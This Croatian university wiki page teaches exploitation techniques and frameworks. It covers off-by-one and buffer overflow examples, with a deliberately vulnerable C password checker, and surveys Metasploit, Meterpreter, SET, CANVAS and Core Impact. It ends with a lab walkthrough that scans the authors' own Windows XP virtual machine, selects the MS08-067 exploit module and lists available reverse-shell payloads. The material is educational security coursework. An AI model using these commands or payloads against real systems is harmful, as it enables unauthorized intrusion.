Eksploatacijski frameworkovi

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Preuzeli temu: Maja Hornung, Dijana Grd, Tin Komlinović

Sadržaj

NAJČEŠĆE TEHNIKE EKSPLOATACIJE

Eksploatacija je radnja kojom pokušavamo navesti program da radi ono što nije njegova prvotna namjena, već ono što mi želimo da program radi. To nam omogućuju sigurnosni propusti u programu ili njegovoj okolini.

FENCEPOST ERROR

“Jedna od čestih programerskih grešaka je off-by-one error" [Jon Erickson, Hacking – The Art of Exploatation – 2nd edition, No Starch Press, San Francisco]. To je greška gdje programer pogriješi u brojanju za jedan. U engleskom žargonu se naziva fencepost error. Takav naziv je dobila po tipičnom problemu: Ako trebamo izgraditi ogradu od 100 metara,a svakih 10 metara ograde treba biti jedan stup, koliko nam treba stupova? Tipičan odgovor je 10 stupova, ali to nije točan odgovor. Treba nam 11 stupova. Odnosno 10+1. Poznati primjer fencepost error-a je propust u OpenSSH. Kod je izgledao ovako:

if (id < 0 || id > channels_alloc) {

a trebao je izgledati ovako:

if (id < 0 || id >= channels_alloc) {

Kod je preuzet iz Jon Erickson, Hacking – The Art of Exploatation – 2nd edition, No Starch Press, San Francisco.

Ova naizgled mala greška omogućila je da se korisnici s nižim ovlastima mogu koristiti administratorske ovlasti.

--Tin.komlinovic 22:50, 2. siječnja 2012. (CET)

PROŠIRENJE FUNKCIONALNOSTI PROGRAMA

Prilikom proširenja funkcionalnosti programa često se dogode pogreške i propusti u programiranju koji omogućuju eksploataciju programa. Jedan od poznatijih primjera je propust u Microsoft IIS-u (Internet Information Services). IIS je Web server za posluživanje različitih sadržaja na webu. Ti sadržaji mogu biti interaktivni ili statičnog karaktera. Zbog te karakteristike se korisnicima treba omogućiti čitanje i pisanje te izvođenje programa. Korisnici su imali ovlasti da koriste samo određene direktorije. Kako bi sprječili korisnika da uđe u tuđi direktorij, programeri su zabranili korištenje znaka backslash (\). Ta zabrana je dobro funkcionirala dok Microsoft nije odlučio da će postojeći standard za znakove zamijeniti Unicode standardom. Unicode koristi dva bita za zapisivanje svakog znaka i omogućuje podršku za sve specijalne znakove iz svih jezika. S obzirom da se pomoću Unicode-a može prikazati nekoliko tisuća znakova, neki znakovi se mogu prikazati na nekoliko načina. Jedan od tih znakova je i backslash. S obzirom da su programeri onemogućili samo jedan zapis backslasha, korisnici su pomoću drugih zapisa mogli ući u bilo koji direktorij.

--Tin.komlinovic 22:51, 2. siječnja 2012. (CET)

BUFFER OVERFLOW

Jedan od najčešćih ranjivosti programa je Buffer overflow (hrv. prekoračenje kapaciteta međuspremnika). U mnogim programskim jezicima kao što su C ili C++ se podrazumijeva da programer vodi računa o količini podataka koju pohranjuje u određeni memorijski prostor. Programski jezici ne vode računa o takvim stvarima jer bi ih to bitno zakompliciralo. Do problema dolazi zbog toga što se memorija za određenu varijablu unaprijed zauzme pa ako se u varijablu želi spremiti više podataka od zauzete memorije, ti podaci se jednostavno zapišu u sljedeće memorijske adrese, što može dovesti do prepisivanja sadržaja tih memorijskih adresa. Takvi događaji mogu izazvati rušenje programa, ali ako se dogode u kontroliranim uvjetima mogu omogućiti eksploataciju programa. Najveći problem je što se Buffer overflow vrlo lako previdi. Jedna od mogućih zaštita je provjeravanje duljine podataka koji se pohranjuju u varijablu. Primjer Buffer overflow-a iz knjige [Jon Erickson, Hacking – The Art of Exploatation – 2nd edition, No Starch Press, San Francisco]:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>

int check_authentication(char *password) { 
   int auth_flag = 0;

   char password_buffer[16];

   strcpy(password_buffer, password);

   if(strcmp(password_buffer, "brillig") == 0) 
      auth_flag = 1;
   if(strcmp(password_buffer, "outgrabe") == 0) 
      auth_flag = 1;

   return auth_flag; 
}

int main(int argc, char *argv[]) { 
   if(argc < 2) {
      printf("Usage: %s <password>\n", argv[0]);
      exit(0); 
   }

   if(check_authentication(argv[1])) { 
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 
      printf(" Access Granted.\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   } else {
      
printf("\nAccess Denied.\n");
   } 
}

Kao što se može i zaključiti iz koda, namjena programa je ispisati Access Granted ako korisnik unese lozinku brillig ili outgrabe, a ako unese neku drugu lozinku ispisati Access Denied. Program radi dobro dok god je unesena lozinka veličine do 16 znakova. Ako korisnik unese lozinku AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, program će ispisati Access Granted, što predstavlja veliki problem. Do ovakvog rezulata je došlo jer su se podaci iz password_buffer-a “prelili” u auth_flag koji je poprimio vrijednost drugačiju od 0 što znači da će program ispisati Access Granted.

--Tin.komlinovic 22:52, 2. siječnja 2012. (CET)

EKSPLOATACIJSKI FRAMEWORKOVI I KARAKTERISTIKE

Prije nego što vidimo koji su to najpoznatiji alati za penetracijska testiranja, trebalo bi utvrditi još neke stvari. Već smo upoznati sa time da se područje informacijske sigurnosti sve više i sve brže razvija, a zahvaljujući Internetu je svako računalo u opasnosti od napada zlonamjernih korisnika. Kako bi se što lakše omogućila sigurnost informacijskih sustava, razvijeni su mnogi alati koji olakšavaju njeno izvođenje.

Penetracijska testiranja su uglavnom jako teška i komplicirana pa su prvenstveno zbog toga razvijeni eksploatacijski frameworkovi. Oni se mogu definirati kao skup skripti i alata, koji pomoću skupa predefiniranih skripti automatiziraju i olakšavaju eksploataciju poznatih ranjivosti u aplikacijama i operacijskim sustavima. Prvo su napravljeni kao razvojni alat koji bi mrežnim i sistemskim administratorima olakšao penetracijska testiranja, međutim danas je iznimno koristan i negativcima.

Eksploatacijski frameworkovi koriste zbirku poznatih ranjivosti za određeni sustav i kreiraju skup napada koji bi se najvjerojatnije dogodili u stvarnosti. Kako se otkrivaju nove ranjivosti dodaje ih se u frameworkove kako bi bili ažurni. Sve predefinirane skripte se nalaze u instalacijskom paketu, tako da nema potrebe instalirati dodatni softver ili modificirati skripte kako bi se uspješno izvršavala eksploatacija – potrebno je samo podesiti neke parametre unutar programa. Jedna od najvažnijih postavki koje korisnik treba konfigurirati je "Payload". Koristan sadržaj (engl. payload) je kod koji se izvršava na odredišnom sustavu nakon što se eksploatacijom otvori komunikacija sa metom. Upravo koristan teret i exploit čine temelj funkcioniranja frameworkova.

Još jedna stvar koju ovdje treba spomenuti je shellcode generator. Korisni teret je u osnovi skup instrukcija ili skripta koje su pisane shellcodeom. Međutim, mnogi ne znaju programirati u shellcodeu, pa se pomoću generatora standardni kod konvertira u "shellcode" kojega mogu koristiti eksploatacijski frameworkovi.

Najvažnija među mnogim prednostima koje omogućuju eksploatacijski frameworkovi je modularnost eksploatacijskog koda. Prije nego su eksploatacijski frameworkovi razvijeni, exploiti i koristan teret su se teško spajali i najčešće su radili samo jednu stvar (na primjer kreiranje novog korisnika na kompromitiranom sustavu). Ponovna upotreba koda i modularnost su omogućile da eksploatacijske skripte postanu čišće i konciznije pošto je temeljna funkcionalnost već bila uključena u biblioteku frameworkova.

Danas se napadači računala (bilo oni zlih namjera ili profesionalni penetracijski testeri) većinom pouzdaju u eksploatacijske frameworkove za realizaciju svojih napada. Danas postoji već dosta alata, a najpoznatiji (koje ću ujedno ovdje i opisati) su Metasploit (open source), te komercijalni alati Core Impact i CANVAS. Metasploit nam je svima dostupan i zbog toga ću njemu posvetiti više stranica. Core Impact i CANVAS ću spomenuti samo ukratko jer to su poprilično skupi alati i zbog toga su male šanse da ćete se susresti sa njima.
--Mhornung


METASPLOIT

S razvojem raznih alata koji su pojednostavili osiguravanje informacijskih sustava javilo se i nekoliko problema. Jedan od njih je i međusobna nekompatibilnost zbog toga što svi ti alati imaju različita sučelja. Zbog toga je nastao Metasploit Framework koji je u stvari biblioteka specifičnih koraka koji nam olakšavaju rad s različitim alatima. Pošto je postojala velika potreba za takvim okruženjem, Metasploit je brzo prerastao u okolinu za razvoj, održavanje i pokretanje ranjivosti, a nama najvažnije – u okolinu za izvođenje penetracijskih provjera.

Metasploit je open source eksploatacijski framework koji je nastao 2003. godine. Upravo zbog toga što je besplatan ga vjerojatno više koriste hakeri nego dobronamjerni profesionalci. Napisao ga je HD Moore koristeći programski jezik Perl, a trenutna verzija je pisana u jeziku Ruby. Danas Metasploit sadrži više stotina exploitova, većinom za Microsoft Windows platformu. On pruža cijelu infrastrukturu za automatiziranje složenih, ali i šablonskih zadataka, pomaže u identificiranju sigurnosnih problema, provjerava ublažavanje ranjivosti i upravlja stručno vođenim procjenama sigurnosti, omogućavajući obavještavanje o sigurnosnim rizicima. Njegove mogućnosti uključuju eksploataciju, revizije lozinke, skeniranje web aplikacija i socijalni inženjering. Metasploit projekt je promijenio postojeći način razvoja ranjivosti – izrada novih ranjivosti je omogućena čak i početnicima. Svi korisnici mogu surađivati u Metasploitu i iznijeti svoja otkrića u izvješćima. Zahvaljujući upravo velikoj zajednici korisnika postoje brojni dodatci koji nadopunjuju osnovni projekt dodatnim funkcionalnostima.

Zbog svoje specifične arhitekture podržava veliki broj modula koji se koriste u različitim fazama provjeravanja, te se danas smatra jednim od glavnih alata koji podržavaju sve faze penetracijskog ispitivanja sustava.
--Mhornung


Arhitektura

Metasploit Framework ima prilagodljivu arhitekturu koja omogućuje jednostavnu nadogradnju projekta stvaranjem novih modula, biblioteka i drugih dodataka. Na slici je prikazana skica njegove arhitekture.

Arhitektura.jpg

Prema slici vidimo da su alati, dodaci, biblioteke i moduli dio ove arhitekture. Ovdje ću ih detaljnije opisati.

Alati (engl. Tools) se koriste za obavljanje konkretnih radnji. Metasploit podržava velik broj alata za sve faze penetracijskog ispitivanja (na primjer Nmap za analizu udaljenog računala).

Dodatci (engl. Plugins) predstavljaju posebne elemente koji komuniciraju s ostalim alatima pomoću programskih sučelja (Msf::Core, Msf::Base). Oni se razvijaju u svrhu olakšanja ili automatizacije određenih radnji, a dostupni su isključivo putem konzole. Dodatcima se proširuje funkcionalnost osnovnog projekta jer se svi oni očituju u obliku novih naredbi.

Biblioteke (engl. Libraries) predstavljaju osnovne funkcionalnosti koje su grupirane su u 3 skupine:

  1. Msf::Base – pojednostavljenje osnovnog programskog sučelja; olakšava korisnicima interakciju sa raznim alatima.
  2. Msf::Core – osnovno programsko sučelje koje definira Metasploit Framework; koriste ga svi alati i moduli za interakciju sa Metasploit projektom.
  3. Rex – biblioteka koja sadrži osnovne funkcionalnosti koje se koriste u raznim dijelovima projekta i mnogim modulima. Također uključuje podršku za rad s raznim mrežnim protokolima (na primjer HTTP i SMB), a omogućuje i upravljanje znakovnim nizom.

Moduli (engl. Modules) su dijelovi od kojih se sastoji Metasploit Framework projekt, a koje korisnik može koristiti prilikom ispitivanja sustava. Postoji više kategorija modula:

  1. Koristan teret (engl. Payload) – konkretan niz koraka koji iskorištava određenu ranjivost. Ne sadrži nikakve podesive parametre ni sučelje prema korisniku. Pomoću alata msfpayload je moguće stvaranje i izvoz korisnog tereta.
  2. Ranjivost (engl. Exploit) – skup koraka u određenom programskom jeziku koji iskorištavaju propust na sustavu. Ostvaruju određeni cilj tako što se na odredišnom računalu izvodi koristan teret koji sadržavaju u sebi. Exploitovi su dijelovi koda koji se mogu prepraviti i prilagoditi žrtvi. Postoje dvije vrste ranjivosti – aktivna (pokreće je korisnik iz konzole) i pasivna (vezu uspostavlja žrtva).
  3. Koder (engl. Encoder) – ponekad treba zaobići sustav za otkrivanje napada (engl. Intrusion Detection System) pa je potrebno kodirati ili zaštititi payload. Kodiranje se obavlja pomoću jednog ili više algoritama, a moduli se pozivaju msfencode naredbom iz naredbenog retka operacijskog sustava.
  4. Prazne naredbe (engl. Nop – No Operation) – odgađaju izvođenje programa, podržavaju ih svi programski jezici, a to su uglavnom naredbe sleep i delay. Ove naredbe se na razini procesora mogu izvesti i kao prazne naredba.
  5. Pomoćni (engl. Auxiliary) – kao što samo ime govori, ovo su moduli koji sadrže pomoćne funkcionalnosti, koje mogu biti općenite ili specifične. Oni služe za ubrzavanje ili olakšavanje pojedinih radnji, ali ne iskorištavaju ranjivost niti se koriste za dobivanje pristupa meti.

--Mhornung

Komponente

Metasploit Framework se sastoji od mnogo različitih modula i komponenata, a pomoću mnogih se u stvari proširuje osnovna funkcionalnost Metasploit projekta. Ovdje ću spomenuti neke od tih komponenata koje se najčešće koriste.


Meterpreter
Penetracijska provjera ne završava dobivanjem pristupa, nego je potrebno dodatno dokazati propuste izvođenjem drugih radnji pomoću preuzetog računala. Meterpreter je modul koji se koristi upravo u toj post-penetracijskoj fazi. Kada se željenim propustom uspije pristupiti određenom računalu, potrebno je Meterpreter prebaciti kao koristan teret. Kada je prebačen, on se samostalno pokreće na računalu žrtvi i korisniku omogućuje pristup mnogim funkcionalnostima Metasploit Frameworka (najčešće se koriste funkcionalnosti krađe lozinki, pristupa povjerljivim korisničkim informacijama i prikrivanja tragova o napadu).

Nije rijetkost da prilikom preuzimanja ovlasti na nekom računalu imamo samo ograničen pristup – to je stoga što se dogodi da napadom preuzmemo korisnički račun s ograničenim ovlastima. U tom slučaju možemo samostalno kreirati novog korisnika i dodijeliti mu ovlasti kakve želimo. Taj modul se na žalost još ne nalazi u Meterpreteru, nego korisnik mora sam kreirati novog korisnika u naredbenom retku. Ako se pak dogodi da račun koji smo preuzeli ima toliko ograničene ovlasti da ne možemo čak niti kreirati novog korisnika, moramo koristiti malo drugačije ranjivosti i module kako bi uspjeli dobiti pristup korisničkom računu sa većim ovlastima.

Kada se preuzmu ovlasti nad jednim računalom, može ih se iskoristiti za preuzimanje ovlasti nad ostalim računalima u lokalnoj mreži tog računala. Meterpreter nudi već gotove module koji olakšavaju taj postupak širenja ovlasti s jednog računala na druga (to se naziva stožiranje, engl. pivoting).

Meterpreter predstavlja sasvim odvojeno okruženje od ostatka Metasploit projekta, te je dijelom napravljen programskom jeziku C (zato da bi se mogao koristiti na svim operacijskim sustavima). Koga zanimaju naredbe u Meterpreteru → http://www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics


PCAP
Prilikom obavljanja penetracijske provjere su važni alati za snimanje prometa, a jedno od najpopularnijih programskih sučelja za praćenje prometa je PCAP. Ovaj dodatak može pohraniti do 200 000 paketa te prikupljene informacije poslati korisničkom računalu na analizu. Ove informacije se mogu pregledavati pomoću alata za praćenje prometa, kao što je Wireshark. Jedna od funkcionalnosti ovog dodatka je praćenje prometa na računalu žrtve pomoću Meterpreter konzole bez potrebe za zapisivanjem stanja na disk, što je korisno kada želimo promatrati vrste informacija koje se šalju u mreži.


MSFpayload
Ova komponenta korisnicima omogućuje proizvodnju programskog koda (u jezicima C, Visual Basic, JavaScript i Ruby), izvršnih datoteka i ranjivosti koje se mogu koristiti izvan Metasploit okruženja. Programski jezik ranjivosti može biti različit, ovisno o meti i platformi na kojoj se zasniva, a to olakšava provjeru sustava. Na primjer, ako želimo dokazati ranjivost zasnovanu na web pregledniku, najbolje je koristiti ranjivost napisanu u JavaScript jeziku.


--Mhornung

Nadogradnja Metasploit Framework projekta

Metasploit Framework projekt je iznimno popularan i stoga ga, iako postoji službeni tim, u stvari održava velika zajednica korisnika. Korisnici dodaju svoje module i tako razvijaju osnovni projekt. Spomenuti ću nekoliko zanimljivih komponenti koje su nastale upravo zahvaljujući korisnicima.

Armitage
Armitage je novo grafičko sučelje Metasploit projekta koje olakšava upravljanje napadom pomoću vizualiziranja žrtve, predlaganja napada i omogućavanjem pristupa naprednim funkcijama Metasploit projekta. Napravljen je kao nadogradnja osnovnog projekta, oslanja se na programski jezik Java, a prilikom pokretanja se spaja na lokalnu Metasploit bazu podataka kako bi omogućio rad sa svim modulima. Nakon njegovog pokretanja moguće je korištenje većine mogućnosti Metasploit Framework projekta. Ranjivosti su grupirane u skupine i podskupine koje detaljnije određuju ranjivost ili modul koji se želi koristiti. Kako se većina penetracijskih provjera radi u skupinama i svaki član ima svoje dužnosti, jedna od korisnih Armitageovih funkcionalnosti uključuje zajednički rad svih članova skupine. Armitage je pogodan za korisnike koji su naviknuti na izvođenje penetracijskih testova, ali nisu upoznati sa Metasploit projektom.


SET – Social Engineering Toolkit
U početku Metasploit projekt nije podržavao niti jedan modul orijentiran na iskorištavanje ljudskih slabosti i zbog toga je razvijen novi alat – SET. On pokriva propust koji je nastao u ranijim penetracijskim provjerama koje su se oslanjale isključivo na ispitivanje računala, ali ne i na provjeru korisnika. SET je postao standard za izvođenje penetracijskih provjera nad ljudskim dijelom informacijskog sustava, a oslanja se na područje društvenog inženjeringa. Većina sigurnosnih stručnjaka smatra da su ljudi najveća sigurnosna prijetnja informacijskim sustavima jer se napadi usmjeravaju na ljude koji sporo usvajaju nova ponašanja. SET ima veliku bazu znanja o ljudskim slabostima i nudi klasično konzolno sučelje za pokretanje napada. Napadi se do korisnika dostavljaju putem USB uređaja, e-maila, web stranica i raznim drugim sredstvima. Metoda iskorištavanja se temelji na zavaravanju zaposlenika porukom kako bi se zaobišao neki sigurnosni mehanizam.

--Mhornung


CANVAS

CANVAS je komercijalni eksploatacijski framework pokrenut 2002. godine od strane Immunity Inc. Plaća se po modelu pretplata i izvorni kod je dostupan samo onima koji ga kupe. U paketu dolazi sa automatskim sustavom eksploatacije, više stotina exploitova, a u prosjeku se svaki mjesec doda 4 nova exploita koji se strogo provjeravaju prije objavljivanja, a razvojni tim je dostupan putem maila. Exploitovi se objavljuju prema prioritetu, odnosno prvo se objavljuju oni koji imaju visoku razinu ranjivosti. Dokumentacija i demonstracije novih exploitova se rade pomoću flash filmova. Korisnici nisu ograničeni na exploitove napravljene u Immunityju jer nekoliko drugih dobavljača nudi exploit pakete za CANVAS.

Ažurira se redovito svakoga mjeseca, a korisnike se o tome obavještava putem e-maila. Također nema ograničenja vezanih uz IP adrese žrtve. Podržan je na platformama Windows, Linux i MacOSX, kao i na ostalim Python okruženjima kao što su mobilni uređaji.
Ako vas zanimaju detalji možete ih pronaći na stranici http://www.immunitysec.com/products-canvas.shtml

--Mhornung

CORE IMPACT

Core Impact je također komercijalni eksploatacijski framework i dosta skuplji od CANVAS-a. Napravljen je 1996. godine od strane CORE Security Technologies i predstavljen kao prvi potpuno automatizirani proizvod za penetracijsko testiranje. Ima dodatnu funkcionalnost stvaranja izvještaja. Kao i kod CANVAS-a, moduli se provjeravaju prije i nakon objave i kontinuirano se ažuriraju. Omogućuje tehnologiju koja pomaže napadaču prikupiti informacije o kontroli kompromitiranih sustava. Zbog njegove cijene ga uglavnom koriste kompanije.
Detalje možete pronaći na stranici http://www.coresecurity.com/content/core-impact-overview

--Mhornung

EKSPLOATACIJA VIRTUALNE WINDOWS XP MAŠINE

Testiranja iz ovog poglavlja su obavljena na virtualnoj mašini instaliranoj pomoću Parrallel Desktop softvera na Windows XP Service Pack 2 operacijskom sustavu.

Kako bi mogili napasti virtualnu mašinu, prvo moramo saznati njezinu IP adresu. S obzirom da smo vlasnici virtualne mašine, znamo njezinu IP adresu. IP adresa virtualne mašine je 10.211.55.6. Sada kada znamo koja je IP adresa virtualne mašine, možemo skenirati njezine ranjivosti. Skeniranje ćemo provesti unutar Metasploita, ali korištenjem nmap plugina. Nmap je program za skeniranje ranjivosti sustava, više o programu je moguće saznati na http://nmap.org. Koristit ćemo zastavice sT – koja označava “prikrivenu TCP konekciju” i –A koja označava detekciju operacijskog sustava.

nmap -sT -A --script=smb-check-vulns -P0 10.211.55.6

Nakon izvršenja naredbe rezultat izgleda ovako:

Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 10.211.55.6
Host is up (0.00023s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OS: Windows

Host script results:
| smb-check-vulns: 
|   MS08-067: VULNERABLE
|   Conficker: Likely CLEAN
|   regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
|   SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)
|   MS06-025: CHECK DISABLED (remove 'safe=1' argument to run)
|_  MS07-029: CHECK DISABLED (remove 'safe=1' argument to run)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds

Iz pretrage ranjivosti možemo vidjeti koji su portovi otvoreni, o kojem se operacijskom sustavu radi i koje su ranjivosti. Kako nam skeniranje ranjivosti pokazuje da je sustav ranjiv na MS08-067, pokušat ćemo iskoristiti tu ranjivost kako bi ušli u sustav. Prvo ćemo pretražiti module koji sadrže MS08-067. To ćemo napraviti jednostavnom naredbom:

msf > search MS08-067

Rezultat pretrage je:

Matching Modules
================

   Name                                 Disclosure Date  Rank   Description
   ----                                 ---------------  ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Microsoft Server Service Relative Path Stack Corruption	

S obzirom da smo dobili samo jedan rezultat, eksploataciju ćemo započeti naredbom:

use  exploti/windows/smb/ms08_067_netapi 

Kada smo odabrali eksploataciju, možemo provjeriti koji su sve payloadovi dostupni za ovu eksploataciju. To ćemo neapraviti naredbom:

exploit(ms08_067_netapi) > show payloads

Rezultat ove naredbe je popis svih payloada koje je moguće iskoristiti u ovoj eksploataciji:

Compatible Payloads
===================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   generic/custom                                                    normal  Custom Payload
   generic/debug_trap                                                normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                            normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                                         normal  Generic Command Shell, Reverse TCP Inline
   generic/tight_loop                                                normal  Generic x86 Tight Loop
   windows/adduser                                                   normal  Windows Execute net user /ADD
   windows/dllinject/bind_ipv6_tcp                                   normal  Reflective Dll Injection, Bind TCP Stager (IPv6)
   windows/dllinject/bind_nonx_tcp                                   normal  Reflective Dll Injection, Bind TCP Stager (No NX or Win7)
   windows/dllinject/bind_tcp                                        normal  Reflective Dll Injection, Bind TCP Stager
   windows/dllinject/reverse_http                                    normal  Reflective Dll Injection, Reverse HTTP Stager
   windows/dllinject/reverse_ipv6_http                               normal  Reflective Dll Injection, Reverse HTTP Stager (IPv6)
   windows/dllinject/reverse_ipv6_tcp                                normal  Reflective Dll Injection, Reverse TCP Stager (IPv6)
   windows/dllinject/reverse_nonx_tcp                                normal  Reflective Dll Injection, Reverse TCP Stager (No NX or Win7)
   windows/dllinject/reverse_ord_tcp                                 normal  Reflective Dll Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   windows/dllinject/reverse_tcp                                     normal  Reflective Dll Injection, Reverse TCP Stager
   windows/dllinject/reverse_tcp_allports                            normal  Reflective Dll Injection, Reverse All-Port TCP Stager
   windows/dllinject/reverse_tcp_dns                                 normal  Reflective Dll Injection, Reverse TCP Stager (DNS)
   windows/download_exec                                             normal  Windows Executable Download and Execute
   windows/exec                                                      normal  Windows Execute Command
   windows/loadlibrary                                               normal  Windows LoadLibrary Path
   windows/messagebox                                                normal  Windows MessageBox
   windows/meterpreter/bind_ipv6_tcp                                 normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (IPv6)
   windows/meterpreter/bind_nonx_tcp                                 normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   windows/meterpreter/bind_tcp                                      normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager
   windows/meterpreter/reverse_http                                  normal  Windows Meterpreter (Reflective Injection), Reverse HTTP Stager
   windows/meterpreter/reverse_https                                 normal  Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager
   windows/meterpreter/reverse_ipv6_http                             normal  Windows Meterpreter (Reflective Injection), Reverse HTTP Stager (IPv6)
   windows/meterpreter/reverse_ipv6_https                            normal  Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager (IPv6)
   windows/meterpreter/reverse_ipv6_tcp                              normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   windows/meterpreter/reverse_nonx_tcp                              normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   windows/meterpreter/reverse_ord_tcp                               normal  Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   windows/meterpreter/reverse_tcp                                   normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   windows/meterpreter/reverse_tcp_allports                          normal  Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   windows/meterpreter/reverse_tcp_dns                               normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   windows/metsvc_bind_tcp                                           normal  Windows Meterpreter Service, Bind TCP
   windows/metsvc_reverse_tcp                                        normal  Windows Meterpreter Service, Reverse TCP Inline
   windows/patchupdllinject/bind_ipv6_tcp                            normal  Windows Inject DLL, Bind TCP Stager (IPv6)
   windows/patchupdllinject/bind_nonx_tcp                            normal  Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   windows/patchupdllinject/bind_tcp                                 normal  Windows Inject DLL, Bind TCP Stager
   windows/patchupdllinject/reverse_ipv6_tcp                         normal  Windows Inject DLL, Reverse TCP Stager (IPv6)
   windows/patchupdllinject/reverse_nonx_tcp                         normal  Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   windows/patchupdllinject/reverse_ord_tcp                          normal  Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   windows/patchupdllinject/reverse_tcp                              normal  Windows Inject DLL, Reverse TCP Stager
   windows/patchupdllinject/reverse_tcp_allports                     normal  Windows Inject DLL, Reverse All-Port TCP Stager
   windows/patchupdllinject/reverse_tcp_dns                          normal  Windows Inject DLL, Reverse TCP Stager (DNS)
   windows/patchupmeterpreter/bind_ipv6_tcp                          normal  Windows Meterpreter (skape/jt injection), Bind TCP Stager (IPv6)
   windows/patchupmeterpreter/bind_nonx_tcp                          normal  Windows Meterpreter (skape/jt injection), Bind TCP Stager (No NX or Win7)
   windows/patchupmeterpreter/bind_tcp                               normal  Windows Meterpreter (skape/jt injection), Bind TCP Stager
   windows/patchupmeterpreter/reverse_ipv6_tcp                       normal  Windows Meterpreter (skape/jt injection), Reverse TCP Stager (IPv6)
   windows/patchupmeterpreter/reverse_nonx_tcp                       normal  Windows Meterpreter (skape/jt injection), Reverse TCP Stager (No NX or Win7)
   windows/patchupmeterpreter/reverse_ord_tcp                        normal  Windows Meterpreter (skape/jt injection), Reverse Ordinal TCP Stager (No NX or Win7)
   windows/patchupmeterpreter/reverse_tcp                            normal  Windows Meterpreter (skape/jt injection), Reverse TCP Stager
   windows/patchupmeterpreter/reverse_tcp_allports                   normal  Windows Meterpreter (skape/jt injection), Reverse All-Port TCP Stager
   windows/patchupmeterpreter/reverse_tcp_dns                        normal  Windows Meterpreter (skape/jt injection), Reverse TCP Stager (DNS)
   windows/shell/bind_ipv6_tcp                                       normal  Windows Command Shell, Bind TCP Stager (IPv6)
   windows/shell/bind_nonx_tcp                                       normal  Windows Command Shell, Bind TCP Stager (No NX or Win7)
   windows/shell/bind_tcp                                            normal  Windows Command Shell, Bind TCP Stager
   windows/shell/reverse_http                                        normal  Windows Command Shell, Reverse HTTP Stager
   windows/shell/reverse_ipv6_http                                   normal  Windows Command Shell, Reverse HTTP Stager (IPv6)
   windows/shell/reverse_ipv6_tcp                                    normal  Windows Command Shell, Reverse TCP Stager (IPv6)
   windows/shell/reverse_nonx_tcp                                    normal  Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   windows/shell/reverse_ord_tcp                                     normal  Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   windows/shell/reverse_tcp                                         normal  Windows Command Shell, Reverse TCP Stager
   windows/shell/reverse_tcp_allports                                normal  Windows Command Shell, Reverse All-Port TCP Stager
   windows/shell/reverse_tcp_dns                                     normal  Windows Command Shell, Reverse TCP Stager (DNS)
   windows/shell_bind_tcp                                            normal  Windows Command Shell, Bind TCP Inline
   windows/shell_reverse_tcp                                         normal  Windows Command Shell, Reverse TCP Inline
   windows/speak_pwned                                               normal  Windows Speech API - Say "You Got Pwned!"
   windows/upexec/bind_ipv6_tcp                                      normal  Windows Upload/Execute, Bind TCP Stager (IPv6)
   windows/upexec/bind_nonx_tcp                                      normal  Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   windows/upexec/bind_tcp                                           normal  Windows Upload/Execute, Bind TCP Stager
   windows/upexec/reverse_http                                       normal  Windows Upload/Execute, Reverse HTTP Stager
   windows/upexec/reverse_ipv6_http                                  normal  Windows Upload/Execute, Reverse HTTP Stager (IPv6)
   windows/upexec/reverse_ipv6_tcp                                   normal  Windows Upload/Execute, Reverse TCP Stager (IPv6)
   windows/upexec/reverse_nonx_tcp                                   normal  Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   windows/upexec/reverse_ord_tcp                                    normal  Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   windows/upexec/reverse_tcp                                        normal  Windows Upload/Execute, Reverse TCP Stager
   windows/upexec/reverse_tcp_allports                               normal  Windows Upload/Execute, Reverse All-Port TCP Stager
   windows/upexec/reverse_tcp_dns                                    normal  Windows Upload/Execute, Reverse TCP Stager (DNS)
   windows/vncinject/bind_ipv6_tcp                                   normal  VNC Server (Reflective Injection), Bind TCP Stager (IPv6)
   windows/vncinject/bind_nonx_tcp                                   normal  VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   windows/vncinject/bind_tcp                                        normal  VNC Server (Reflective Injection), Bind TCP Stager
   windows/vncinject/reverse_http                                    normal  VNC Server (Reflective Injection), Reverse HTTP Stager
   windows/vncinject/reverse_ipv6_http                               normal  VNC Server (Reflective Injection), Reverse HTTP Stager (IPv6)
   windows/vncinject/reverse_ipv6_tcp                                normal  VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
